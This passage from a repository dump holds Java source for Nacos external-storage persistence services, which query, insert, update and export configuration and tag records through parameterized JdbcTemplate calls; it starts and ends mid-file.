MapperContext context = new MapperContext();\n            context.putWhereParameter(FieldConstant.START_TIME, startTime);\n            context.putWhereParameter(FieldConstant.PAGE_SIZE, pageSize);\n            context.putWhereParameter(FieldConstant.LAST_MAX_ID, lastMaxId);\n            \n            MapperResult mapperResult = configInfoMapper.findChangeConfig(context);\n            return jt.query(mapperResult.getSql(), mapperResult.getParamList().toArray(),\n                    CONFIG_INFO_STATE_WRAPPER_ROW_MAPPER);\n        } catch (DataAccessException e) {\n            LogUtil.FATAL_LOG.error(\"[db-error] \" + e, e);\n            throw e;\n        }\n    }\n    \n    @Override\n    public List<String> selectTagByConfig(String dataId, String group, String tenant) {\n        ConfigTagsRelationMapper configTagsRelationMapper = mapperManager.findMapper(\n                dataSourceService.getDataSourceType(), TableConstant.CONFIG_TAGS_RELATION);\n        String sql = configTagsRelationMapper.select(Collections.singletonList(\"tag_name\"),\n                Arrays.asList(\"data_id\", \"group_id\", \"tenant_id\"));\n        try {\n            return jt.queryForList(sql, new Object[] {dataId, group, tenant}, String.class);\n        } catch (EmptyResultDataAccessException e) {\n            return null;\n        } catch (IncorrectResultSizeDataAccessException e) {\n            return null;\n        } catch (CannotGetJdbcConnectionException e) {\n            LogUtil.FATAL_LOG.error(\"[db-error] \" + e, e);\n            throw e;\n        }\n    }\n    \n    @Override\n    public List<ConfigInfo> findConfigInfosByIds(final String ids) {\n        if (StringUtils.isBlank(ids)) {\n            return null;\n        }\n        List<Long> paramList = new ArrayList<>();\n        String[] idArr = ids.split(\",\");\n        for (int i = 0; i < idArr.length; i++) {\n            paramList.add(Long.parseLong(idArr[i]));\n        }\n        ConfigInfoMapper configInfoMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                TableConstant.CONFIG_INFO);\n        MapperContext context = new MapperContext();\n        context.putWhereParameter(FieldConstant.IDS, paramList);\n        MapperResult mapperResult = configInfoMapper.findConfigInfosByIds(context);\n        \n        try {\n            return this.jt.query(mapperResult.getSql(), mapperResult.getParamList().toArray(), CONFIG_INFO_ROW_MAPPER);\n        } catch (EmptyResultDataAccessException e) { // Indicates that the data does not exist, returns null\n            return null;\n        } catch (CannotGetJdbcConnectionException e) {\n            LogUtil.FATAL_LOG.error(\"[db-error] \" + e, e);\n            throw e;\n        }\n    }\n    \n    @Override\n    public ConfigAdvanceInfo findConfigAdvanceInfo(final String dataId, final String group, final String tenant) {\n        final String tenantTmp = StringUtils.isBlank(tenant) ? StringUtils.EMPTY : tenant;\n        try {\n            List<String> configTagList = this.selectTagByConfig(dataId, group, tenant);\n            ConfigInfoMapper configInfoMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                    TableConstant.CONFIG_INFO);\n            ConfigAdvanceInfo configAdvance = this.jt.queryForObject(configInfoMapper.select(\n                            Arrays.asList(\"gmt_create\", \"gmt_modified\", \"src_user\", \"src_ip\", \"c_desc\", \"c_use\", \"effect\",\n                                    \"type\", \"c_schema\"), Arrays.asList(\"data_id\", \"group_id\", \"tenant_id\")),\n                    new Object[] {dataId, group, tenantTmp}, CONFIG_ADVANCE_INFO_ROW_MAPPER);\n            if (configTagList != null && !configTagList.isEmpty()) {\n                StringBuilder configTagsTmp = new StringBuilder();\n                for (String configTag : configTagList) {\n                    if (configTagsTmp.length() == 0) {\n                        configTagsTmp.append(configTag);\n                    } else {\n                        configTagsTmp.append(',').append(configTag);\n                    }\n                }\n                configAdvance.setConfigTags(configTagsTmp.toString());\n            }\n            return configAdvance;\n        } catch (EmptyResultDataAccessException e) { // Indicates that the data does not exist, returns null\n            return null;\n        } catch (CannotGetJdbcConnectionException e) {\n            LogUtil.FATAL_LOG.error(\"[db-error] \" + e, e);\n            throw e;\n        }\n    }\n    \n    @Override\n    public ConfigAllInfo findConfigAllInfo(final String dataId, final String group, final String tenant) {\n        final String tenantTmp = StringUtils.isBlank(tenant) ? StringUtils.EMPTY : tenant;\n        try {\n            List<String> configTagList = this.selectTagByConfig(dataId, group, tenant);\n            ConfigInfoMapper configInfoMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                    TableConstant.CONFIG_INFO);\n            ConfigAllInfo configAdvance = this.jt.queryForObject(configInfoMapper.select(\n                            Arrays.asList(\"id\", \"data_id\", \"group_id\", \"tenant_id\", \"app_name\", \"content\", \"md5\", \"gmt_create\",\n                                    \"gmt_modified\", \"src_user\", \"src_ip\", \"c_desc\", \"c_use\", \"effect\", \"type\", \"c_schema\",\n                                    \"encrypted_data_key\"), Arrays.asList(\"data_id\", \"group_id\", \"tenant_id\")),\n                    new Object[] {dataId, group, tenantTmp}, CONFIG_ALL_INFO_ROW_MAPPER);\n            if (configTagList != null && !configTagList.isEmpty()) {\n                StringBuilder configTagsTmp = new StringBuilder();\n                for (String configTag : configTagList) {\n                    if (configTagsTmp.length() == 0) {\n                        configTagsTmp.append(configTag);\n                    } else {\n                        configTagsTmp.append(',').append(configTag);\n                    }\n                }\n                configAdvance.setConfigTags(configTagsTmp.toString());\n            }\n            return configAdvance;\n        } catch (EmptyResultDataAccessException e) { // Indicates that the data does not exist, returns null\n            return null;\n        } catch (CannotGetJdbcConnectionException e) {\n            LogUtil.FATAL_LOG.error(\"[db-error] \" + e, e);\n            throw e;\n        }\n    }\n    \n    @Override\n    public ConfigInfoStateWrapper findConfigInfoState(final String dataId, final String group, final String tenant) {\n        String tenantTmp = StringUtils.isBlank(tenant) ? StringUtils.EMPTY : tenant;\n        try {\n            ConfigInfoMapper configInfoMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                    TableConstant.CONFIG_INFO);\n            return this.jt.queryForObject(\n                    configInfoMapper.select(Arrays.asList(\"id\", \"data_id\", \"group_id\", \"tenant_id\", \"gmt_modified\"),\n                            Arrays.asList(\"data_id\", \"group_id\", \"tenant_id\")), new Object[] {dataId, group, tenantTmp},\n                    CONFIG_INFO_STATE_WRAPPER_ROW_MAPPER);\n        } catch (EmptyResultDataAccessException e) { // Indicates that the data does not exist, returns null.\n            return null;\n        } catch (CannotGetJdbcConnectionException e) {\n            LogUtil.FATAL_LOG.error(\"[db-error] \" + e.toString(), e);\n            throw e;\n        }\n    }\n    \n    @Override\n    public List<ConfigAllInfo> findAllConfigInfo4Export(final String dataId, final String group, final String tenant,\n            final String appName, final List<Long> ids) {\n        String tenantTmp = StringUtils.isBlank(tenant) ? StringUtils.EMPTY : tenant;\n        ConfigInfoMapper configInfoMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                TableConstant.CONFIG_INFO);\n        MapperContext context = new MapperContext();\n        if (!CollectionUtils.isEmpty(ids)) {\n            context.putWhereParameter(FieldConstant.IDS, ids);\n        } else {\n            context.putWhereParameter(FieldConstant.TENANT_ID, tenantTmp);\n            if (!StringUtils.isBlank(dataId)) {\n                context.putWhereParameter(FieldConstant.DATA_ID, generateLikeArgument(dataId));\n            }\n            if (StringUtils.isNotBlank(group)) {\n                context.putWhereParameter(FieldConstant.GROUP_ID, group);\n            }\n            if (StringUtils.isNotBlank(appName)) {\n                context.putWhereParameter(FieldConstant.APP_NAME, appName);\n            }\n        }\n        MapperResult mapperResult = configInfoMapper.findAllConfigInfo4Export(context);\n        try {\n            List<ConfigAllInfo> configAllInfos = jt.query(mapperResult.getSql(), mapperResult.getParamList().toArray(),\n                    CONFIG_ALL_INFO_ROW_MAPPER);\n            \n            if (CollectionUtils.isEmpty(configAllInfos)) {\n                return configAllInfos;\n            }\n            for (ConfigAllInfo configAllInfo : configAllInfos) {\n                List<String> configTagList = selectTagByConfig(configAllInfo.getDataId(), configAllInfo.getGroup(),\n                        configAllInfo.getTenant());\n                if (CollectionUtils.isNotEmpty(configTagList)) {\n                    StringBuilder configTags = new StringBuilder();\n                    for (String configTag : configTagList) {\n                        if (configTags.length() == 0) {\n                            configTags.append(configTag);\n                        } else {\n                            configTags.append(',').append(configTag);\n                        }\n                    }\n                    configAllInfo.setConfigTags(configTags.toString());\n                }\n            }\n            \n            return configAllInfos;\n        } catch (CannotGetJdbcConnectionException e) {\n            LogUtil.FATAL_LOG.error(\"[db-error] \" + e, e);\n            throw e;\n        }\n    }\n    \n    @Override\n    public List<ConfigInfoWrapper> queryConfigInfoByNamespace(String tenant) {\n        if (Objects.isNull(tenant)) {\n            throw new IllegalArgumentException(\"tenantId can not be null\");\n        }\n        String tenantTmp = StringUtils.isBlank(tenant) ? StringUtils.EMPTY : tenant;\n        try {\n            ConfigInfoMapper configInfoMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                    TableConstant.CONFIG_INFO);\n            return this.jt.query(\n                    configInfoMapper.select(Arrays.asList(\"data_id\", \"group_id\", \"tenant_id\", \"app_name\", \"type\"),\n                            Collections.singletonList(\"tenant_id\")), new Object[] {tenantTmp},\n                    CONFIG_INFO_WRAPPER_ROW_MAPPER);\n        } catch (EmptyResultDataAccessException e) { // Indicates that the data does not exist, returns null.\n            return Collections.EMPTY_LIST;\n        } catch (CannotGetJdbcConnectionException e) {\n            LogUtil.FATAL_LOG.error(\"[db-error] \" + e, e);\n            throw e;\n        }\n    }\n    \n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/service/repository/extrnal/ExternalConfigInfoTagPersistServiceImpl.java",
    "content": "/*\n * Copyright 1999-2022 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.repository.extrnal;\n\nimport com.alibaba.nacos.common.utils.MD5Utils;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.config.server.constant.Constants;\nimport com.alibaba.nacos.config.server.model.ConfigInfo;\nimport com.alibaba.nacos.config.server.model.ConfigInfoStateWrapper;\nimport com.alibaba.nacos.config.server.model.ConfigInfoTagWrapper;\nimport com.alibaba.nacos.config.server.model.ConfigOperateResult;\nimport com.alibaba.nacos.config.server.service.repository.ConfigInfoTagPersistService;\nimport com.alibaba.nacos.config.server.utils.LogUtil;\nimport com.alibaba.nacos.persistence.configuration.condition.ConditionOnExternalStorage;\nimport com.alibaba.nacos.persistence.datasource.DataSourceService;\nimport com.alibaba.nacos.persistence.datasource.DynamicDataSource;\nimport com.alibaba.nacos.api.model.Page;\nimport com.alibaba.nacos.persistence.repository.PaginationHelper;\nimport com.alibaba.nacos.persistence.repository.extrnal.ExternalStoragePaginationHelperImpl;\nimport com.alibaba.nacos.plugin.datasource.MapperManager;\nimport com.alibaba.nacos.plugin.datasource.constants.CommonConstant;\nimport com.alibaba.nacos.plugin.datasource.constants.FieldConstant;\nimport com.alibaba.nacos.plugin.datasource.constants.TableConstant;\nimport com.alibaba.nacos.plugin.datasource.mapper.ConfigInfoTagMapper;\nimport com.alibaba.nacos.plugin.datasource.model.MapperContext;\nimport com.alibaba.nacos.plugin.datasource.model.MapperResult;\nimport com.alibaba.nacos.sys.env.EnvUtil;\nimport org.springframework.context.annotation.Conditional;\nimport org.springframework.dao.EmptyResultDataAccessException;\nimport org.springframework.jdbc.CannotGetJdbcConnectionException;\nimport org.springframework.jdbc.core.JdbcTemplate;\nimport org.springframework.stereotype.Service;\nimport org.springframework.transaction.support.TransactionTemplate;\n\nimport java.sql.Timestamp;\nimport java.util.Arrays;\nimport java.util.Collections;\nimport java.util.List;\n\nimport static com.alibaba.nacos.config.server.service.repository.ConfigRowMapperInjector.CONFIG_INFO_STATE_WRAPPER_ROW_MAPPER;\nimport static com.alibaba.nacos.config.server.service.repository.ConfigRowMapperInjector.CONFIG_INFO_TAG_WRAPPER_ROW_MAPPER;\n\n/**\n * ExternalConfigInfoTagPersistServiceImpl.\n *\n * @author lixiaoshuang\n */\n@SuppressWarnings(\"checkstyle:linelength\")\n@Conditional(value = ConditionOnExternalStorage.class)\n@Service(\"externalConfigInfoTagPersistServiceImpl\")\npublic class ExternalConfigInfoTagPersistServiceImpl implements ConfigInfoTagPersistService {\n    \n    private DataSourceService dataSourceService;\n    \n    protected JdbcTemplate jt;\n    \n    protected TransactionTemplate tjt;\n    \n    private MapperManager mapperManager;\n    \n    public ExternalConfigInfoTagPersistServiceImpl() {\n        this.dataSourceService = DynamicDataSource.getInstance().getDataSource();\n        this.jt = dataSourceService.getJdbcTemplate();\n        this.tjt = dataSourceService.getTransactionTemplate();\n        Boolean isDataSourceLogEnable = EnvUtil.getProperty(CommonConstant.NACOS_PLUGIN_DATASOURCE_LOG, Boolean.class,\n                false);\n        this.mapperManager = MapperManager.instance(isDataSourceLogEnable);\n    }\n    \n    @Override\n    public <E> PaginationHelper<E> createPaginationHelper() {\n        return new ExternalStoragePaginationHelperImpl<>(jt);\n    }\n    \n    @Override\n    public ConfigInfoStateWrapper findConfigInfo4TagState(final String dataId, final String group, final String tenant,\n            String tag) {\n        ConfigInfoTagMapper configInfoTagMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                TableConstant.CONFIG_INFO_TAG);\n        String tenantTmp = StringUtils.isBlank(tenant) ? StringUtils.EMPTY : tenant;\n        try {\n            return this.jt.queryForObject(\n                    configInfoTagMapper.select(Arrays.asList(\"id\", \"data_id\", \"group_id\", \"tenant_id\", \"gmt_modified\"),\n                            Arrays.asList(\"data_id\", \"group_id\", \"tenant_id\", \"tag_id\")),\n                    new Object[] {dataId, group, tenantTmp, tag}, CONFIG_INFO_STATE_WRAPPER_ROW_MAPPER);\n        } catch (EmptyResultDataAccessException e) {\n            return null;\n        }\n    }\n    \n    private ConfigOperateResult getTagOperateResult(String dataId, String group, String tenant, String tag) {\n        String tenantTmp = StringUtils.isBlank(tenant) ? StringUtils.EMPTY : tenant;\n        \n        ConfigInfoStateWrapper configInfo4Tag = this.findConfigInfo4TagState(dataId, group, tenantTmp, tag);\n        if (configInfo4Tag == null) {\n            return new ConfigOperateResult(false);\n        }\n        return new ConfigOperateResult(configInfo4Tag.getId(), configInfo4Tag.getLastModified());\n        \n    }\n    \n    @Override\n    public ConfigOperateResult addConfigInfo4Tag(ConfigInfo configInfo, String tag, String srcIp, String srcUser) {\n        String appNameTmp = StringUtils.defaultEmptyIfBlank(configInfo.getAppName());\n        String tenantTmp = StringUtils.defaultEmptyIfBlank(configInfo.getTenant());\n        String tagTmp = StringUtils.isBlank(tag) ? StringUtils.EMPTY : tag.trim();\n        String md5 = MD5Utils.md5Hex(configInfo.getContent(), Constants.ENCODE);\n        try {\n            ConfigInfoTagMapper configInfoTagMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                    TableConstant.CONFIG_INFO_TAG);\n            Timestamp time = new Timestamp(System.currentTimeMillis());\n            \n            jt.update(configInfoTagMapper.insert(\n                            Arrays.asList(\"data_id\", \"group_id\", \"tenant_id\", \"tag_id\", \"app_name\", \"content\", \"md5\", \"src_ip\",\n                                    \"src_user\", \"gmt_create\", \"gmt_modified\")), configInfo.getDataId(), configInfo.getGroup(),\n                    tenantTmp, tagTmp, appNameTmp, configInfo.getContent(), md5, srcIp, srcUser, time, time);\n            return getTagOperateResult(configInfo.getDataId(), configInfo.getGroup(), tenantTmp, tagTmp);\n            \n        } catch (CannotGetJdbcConnectionException e) {\n            LogUtil.FATAL_LOG.error(\"[db-error] \" + e, e);\n            throw e;\n        }\n    }\n    \n    @Override\n    public ConfigOperateResult insertOrUpdateTag(final ConfigInfo configInfo, final String tag, final String srcIp,\n            final String srcUser) {\n        if (findConfigInfo4TagState(configInfo.getDataId(), configInfo.getGroup(), configInfo.getTenant(), tag)\n                == null) {\n            return addConfigInfo4Tag(configInfo, tag, srcIp, srcUser);\n        } else {\n            return updateConfigInfo4Tag(configInfo, tag, srcIp, srcUser);\n        }\n    }\n    \n    @Override\n    public ConfigOperateResult insertOrUpdateTagCas(final ConfigInfo configInfo, final String tag, final String srcIp,\n            final String srcUser) {\n        if (findConfigInfo4TagState(configInfo.getDataId(), configInfo.getGroup(), configInfo.getTenant(), tag)\n                == null) {\n            return addConfigInfo4Tag(configInfo, tag, srcIp, srcUser);\n        } else {\n            return updateConfigInfo4TagCas(configInfo, tag, srcIp, srcUser);\n        }\n    }\n    \n    @Override\n    public void removeConfigInfoTag(final String dataId, final String group, final String tenant, final String tag,\n            final String srcIp, final String srcUser) {\n        String tenantTmp = StringUtils.isBlank(tenant) ? StringUtils.EMPTY : tenant;\n        String tagTmp = StringUtils.isBlank(tag) ? StringUtils.EMPTY : tag;\n        try {\n            ConfigInfoTagMapper configInfoTagMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                    TableConstant.CONFIG_INFO_TAG);\n            jt.update(configInfoTagMapper.delete(Arrays.asList(\"data_id\", \"group_id\", \"tenant_id\", \"tag_id\")), dataId,\n                    group, tenantTmp, tagTmp);\n        } catch (CannotGetJdbcConnectionException e) {\n            LogUtil.FATAL_LOG.error(\"[db-error] \" + e, e);\n            throw e;\n        }\n    }\n    \n    @Override\n    public ConfigOperateResult updateConfigInfo4Tag(ConfigInfo configInfo, String tag, String srcIp, String srcUser) {\n        String appNameTmp = StringUtils.defaultEmptyIfBlank(configInfo.getAppName());\n        String tenantTmp = StringUtils.defaultEmptyIfBlank(configInfo.getTenant());\n        String tagTmp = StringUtils.isBlank(tag) ? StringUtils.EMPTY : tag.trim();\n        try {\n            String md5 = MD5Utils.md5Hex(configInfo.getContent(), Constants.ENCODE);\n            ConfigInfoTagMapper configInfoTagMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                    TableConstant.CONFIG_INFO_TAG);\n            Timestamp time = new Timestamp(System.currentTimeMillis());\n            jt.update(configInfoTagMapper.update(\n                            Arrays.asList(\"content\", \"md5\", \"src_ip\", \"src_user\", \"gmt_modified\", \"app_name\"),\n                            Arrays.asList(\"data_id\", \"group_id\", \"tenant_id\", \"tag_id\")), configInfo.getContent(), md5, srcIp,\n                    srcUser, time, appNameTmp, configInfo.getDataId(), configInfo.getGroup(), tenantTmp, tagTmp);\n            return getTagOperateResult(configInfo.getDataId(), configInfo.getGroup(), tenantTmp, tagTmp);\n            \n        } catch (CannotGetJdbcConnectionException e) {\n            LogUtil.FATAL_LOG.error(\"[db-error] \" + e, e);\n            throw e;\n        }\n    }\n    \n    @Override\n    public ConfigOperateResult updateConfigInfo4TagCas(ConfigInfo configInfo, String tag, String srcIp,\n            String srcUser) {\n        String appNameTmp = StringUtils.defaultEmptyIfBlank(configInfo.getAppName());\n        String tenantTmp = StringUtils.defaultEmptyIfBlank(configInfo.getTenant());\n        String tagTmp = StringUtils.isBlank(tag) ? StringUtils.EMPTY : tag.trim();\n        try {\n            String md5 = MD5Utils.md5Hex(configInfo.getContent(), Constants.ENCODE);\n            ConfigInfoTagMapper configInfoTagMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                    TableConstant.CONFIG_INFO_TAG);\n            Timestamp time = new Timestamp(System.currentTimeMillis());\n            \n            MapperContext context = new MapperContext();\n            context.putUpdateParameter(FieldConstant.CONTENT, configInfo.getContent());\n            context.putUpdateParameter(FieldConstant.MD5, md5);\n            context.putUpdateParameter(FieldConstant.SRC_IP, srcIp);\n            context.putUpdateParameter(FieldConstant.SRC_USER, srcUser);\n            context.putUpdateParameter(FieldConstant.GMT_MODIFIED, time);\n            context.putUpdateParameter(FieldConstant.APP_NAME, appNameTmp);\n            \n            context.putWhereParameter(FieldConstant.DATA_ID, configInfo.getDataId());\n            context.putWhereParameter(FieldConstant.GROUP_ID, configInfo.getGroup());\n            context.putWhereParameter(FieldConstant.TENANT_ID, tenantTmp);\n            context.putWhereParameter(FieldConstant.TAG_ID, tagTmp);\n            context.putWhereParameter(FieldConstant.MD5, configInfo.getMd5());\n            \n            final MapperResult mapperResult = configInfoTagMapper.updateConfigInfo4TagCas(context);\n            \n            boolean success = jt.update(mapperResult.getSql(), mapperResult.getParamList().toArray()) > 0;\n            if (success) {\n                return getTagOperateResult(configInfo.getDataId(), configInfo.getGroup(), tenantTmp, tagTmp);\n            } else {\n                return new ConfigOperateResult(false);\n            }\n        } catch (CannotGetJdbcConnectionException e) {\n            LogUtil.FATAL_LOG.error(\"[db-error] \" + e, e);\n            throw e;\n        }\n    }\n    \n    @Override\n    public ConfigInfoTagWrapper findConfigInfo4Tag(final String dataId, final String group, final String tenant,\n            final String tag) {\n        String tenantTmp = StringUtils.isBlank(tenant) ? StringUtils.EMPTY : tenant;\n        String tagTmp = StringUtils.isBlank(tag) ? StringUtils.EMPTY : tag.trim();\n        try {\n            ConfigInfoTagMapper configInfoTagMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                    TableConstant.CONFIG_INFO_TAG);\n            return this.jt.queryForObject(configInfoTagMapper.select(\n                            Arrays.asList(\"id\", \"data_id\", \"group_id\", \"tenant_id\", \"tag_id\", \"app_name\", \"content\",\n                                    \"gmt_modified\"), Arrays.asList(\"data_id\", \"group_id\", \"tenant_id\", \"tag_id\")),\n                    new Object[] {dataId, group, tenantTmp, tagTmp}, CONFIG_INFO_TAG_WRAPPER_ROW_MAPPER);\n        } catch (EmptyResultDataAccessException e) { // Indicates that the data does not exist, returns null.\n            return null;\n        } catch (CannotGetJdbcConnectionException e) {\n            LogUtil.FATAL_LOG.error(\"[db-error] \" + e, e);\n            throw e;\n        }\n    }\n    \n    @Override\n    public int configInfoTagCount() {\n        ConfigInfoTagMapper configInfoTagMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                TableConstant.CONFIG_INFO_TAG);\n        String sql = configInfoTagMapper.count(null);\n        Integer result = jt.queryForObject(sql, Integer.class);\n        if (result == null) {\n            throw new IllegalArgumentException(\"configInfoTagCount error\");\n        }\n        return result;\n    }\n    \n    @Override\n    public Page<ConfigInfoTagWrapper> findAllConfigInfoTagForDumpAll(final int pageNo, final int pageSize) {\n        final int startRow = (pageNo - 1) * pageSize;\n        ConfigInfoTagMapper configInfoTagMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                TableConstant.CONFIG_INFO_TAG);\n        String sqlCountRows = configInfoTagMapper.count(null);\n        MapperResult sqlFetchRows = configInfoTagMapper.findAllConfigInfoTagForDumpAllFetchRows(\n                new MapperContext(startRow, pageSize));\n        \n        PaginationHelper<ConfigInfoTagWrapper> helper = createPaginationHelper();\n        \n        try {\n            return helper.fetchPageLimit(sqlCountRows, sqlFetchRows.getSql(), sqlFetchRows.getParamList().toArray(),\n                    pageNo, pageSize, CONFIG_INFO_TAG_WRAPPER_ROW_MAPPER);\n            \n        } catch (CannotGetJdbcConnectionException e) {\n            LogUtil.FATAL_LOG.error(\"[db-error] \" + e, e);\n            throw e;\n        }\n    }\n    \n    @Override\n    public List<String> findConfigInfoTags(final String dataId, final String group, final String tenant) {\n        String tenantTmp = StringUtils.isBlank(tenant) ? StringUtils.EMPTY : tenant;\n        ConfigInfoTagMapper configInfoTagMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                TableConstant.CONFIG_INFO_TAG);\n        String selectSql = configInfoTagMapper.select(Collections.singletonList(\"tag_id\"),\n                Arrays.asList(\"data_id\", \"group_id\", \"tenant_id\"));\n        return jt.queryForList(selectSql, new Object[] {dataId, group, tenantTmp}, String.class);\n    }\n    \n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/service/repository/extrnal/ExternalConfigMigratePersistServiceImpl.java",
    "content": "/*\n * Copyright 1999-2024 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.repository.extrnal;\n\nimport com.alibaba.nacos.common.utils.MD5Utils;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.config.server.constant.Constants;\nimport com.alibaba.nacos.config.server.model.ConfigInfo;\nimport com.alibaba.nacos.config.server.model.ConfigInfoGrayWrapper;\nimport com.alibaba.nacos.config.server.model.ConfigInfoWrapper;\nimport com.alibaba.nacos.config.server.service.repository.ConfigInfoGrayPersistService;\nimport com.alibaba.nacos.config.server.service.repository.ConfigInfoPersistService;\nimport com.alibaba.nacos.config.server.service.repository.ConfigMigratePersistService;\nimport com.alibaba.nacos.config.server.utils.LogUtil;\nimport com.alibaba.nacos.persistence.configuration.condition.ConditionOnExternalStorage;\nimport com.alibaba.nacos.persistence.datasource.DataSourceService;\nimport com.alibaba.nacos.persistence.datasource.DynamicDataSource;\nimport com.alibaba.nacos.persistence.repository.PaginationHelper;\nimport com.alibaba.nacos.persistence.repository.extrnal.ExternalStoragePaginationHelperImpl;\nimport com.alibaba.nacos.plugin.datasource.MapperManager;\nimport com.alibaba.nacos.plugin.datasource.constants.CommonConstant;\nimport com.alibaba.nacos.plugin.datasource.constants.FieldConstant;\nimport com.alibaba.nacos.plugin.datasource.constants.TableConstant;\nimport com.alibaba.nacos.plugin.datasource.mapper.ConfigInfoGrayMapper;\nimport com.alibaba.nacos.plugin.datasource.mapper.ConfigInfoMapper;\nimport com.alibaba.nacos.plugin.datasource.mapper.ConfigMigrateMapper;\nimport com.alibaba.nacos.plugin.datasource.model.MapperContext;\nimport com.alibaba.nacos.plugin.datasource.model.MapperResult;\nimport com.alibaba.nacos.sys.env.EnvUtil;\nimport org.springframework.beans.factory.annotation.Qualifier;\nimport org.springframework.context.annotation.Conditional;\nimport org.springframework.jdbc.CannotGetJdbcConnectionException;\nimport org.springframework.jdbc.core.JdbcTemplate;\nimport org.springframework.stereotype.Service;\nimport org.springframework.transaction.support.TransactionTemplate;\n\nimport java.sql.Timestamp;\nimport java.util.Arrays;\nimport java.util.List;\nimport java.util.Map;\n\nimport static com.alibaba.nacos.config.server.service.repository.ConfigRowMapperInjector.CONFIG_INFO_GRAY_WRAPPER_ROW_MAPPER;\nimport static com.alibaba.nacos.config.server.service.repository.ConfigRowMapperInjector.CONFIG_INFO_ROW_MAPPER;\n\n/**\n * The type External config migrate persist service.\n *\n * @author Sunrisea\n */\n@Conditional(value = ConditionOnExternalStorage.class)\n@Service(\"externalConfigMigratePersistServiceImpl\")\npublic class ExternalConfigMigratePersistServiceImpl implements ConfigMigratePersistService {\n    \n    /**\n     * The Jt.\n     */\n    protected JdbcTemplate jt;\n    \n    /**\n     * The Tjt.\n     */\n    protected TransactionTemplate tjt;\n    \n    private DataSourceService dataSourceService;\n    \n    private MapperManager mapperManager;\n    \n    private ConfigInfoPersistService configInfoPersistService;\n    \n    private ConfigInfoGrayPersistService configInfoGrayPersistService;\n    \n    /**\n     * Instantiates a new External config migrate persist service.\n     *\n     * @param configInfoPersistService     the config info persist service\n     * @param configInfoGrayPersistService the config info gray persist service\n     */\n    public ExternalConfigMigratePersistServiceImpl(\n            @Qualifier(\"externalConfigInfoPersistServiceImpl\") ConfigInfoPersistService configInfoPersistService,\n            @Qualifier(\"externalConfigInfoGrayPersistServiceImpl\") ConfigInfoGrayPersistService configInfoGrayPersistService) {\n        this.dataSourceService = DynamicDataSource.getInstance().getDataSource();\n        this.jt = dataSourceService.getJdbcTemplate();\n        this.tjt = dataSourceService.getTransactionTemplate();\n        Boolean isDataSourceLogEnable = EnvUtil.getProperty(CommonConstant.NACOS_PLUGIN_DATASOURCE_LOG, Boolean.class,\n                false);\n        this.mapperManager = MapperManager.instance(isDataSourceLogEnable);\n        this.configInfoPersistService = configInfoPersistService;\n        this.configInfoGrayPersistService = configInfoGrayPersistService;\n    }\n    \n    @Override\n    public <E> PaginationHelper<E> createPaginationHelper() {\n        return new ExternalStoragePaginationHelperImpl<>(jt);\n    }\n    \n    @Override\n    public Integer configInfoConflictCount(String srcUser) {\n        ConfigMigrateMapper configMigrateMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                TableConstant.MIGRATE_CONFIG);\n        MapperContext context = new MapperContext();\n        context.putWhereParameter(FieldConstant.SRC_USER, srcUser);\n        MapperResult mapperResult = configMigrateMapper.getConfigConflictCount(context);\n        Integer result = jt.queryForObject(mapperResult.getSql(), mapperResult.getParamList().toArray(), Integer.class);\n        if (result == null) {\n            throw new IllegalArgumentException(\"configInfoConflictCount error\");\n        }\n        return result;\n    }\n    \n    @Override\n    public Integer configInfoGrayConflictCount(String srcUser) {\n        ConfigMigrateMapper configMigrateMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                TableConstant.MIGRATE_CONFIG);\n        MapperContext context = new MapperContext();\n        context.putWhereParameter(FieldConstant.SRC_USER, srcUser);\n        MapperResult mapperResult = configMigrateMapper.getConfigGrayConflictCount(context);\n        Integer result = jt.queryForObject(mapperResult.getSql(), mapperResult.getParamList().toArray(), Integer.class);\n        if (result == null) {\n            throw new IllegalArgumentException(\"configInfoGrayConflictCount error\");\n        }\n        return result;\n    }\n    \n    @Override\n    public List<Long> getMigrateConfigInsertIdList(long startId, int pageSize) {\n        ConfigMigrateMapper configMigrateMapper = mapperManager.findMapper(dataSourceService.getDataSourceType(),\n                TableConstant.MIGRATE_CONFIG);\n        MapperContext context = new MapperContext();\n        context.putWhereParameter(FieldConstant.ID, startId);\n        context.setPageSize(pageSize);\n        MapperResult mapperResult = configMigrateMapper.findConfigIdNeedInsertMigrate(context);\n        return jt.queryForList(mapperResult.getSql(), 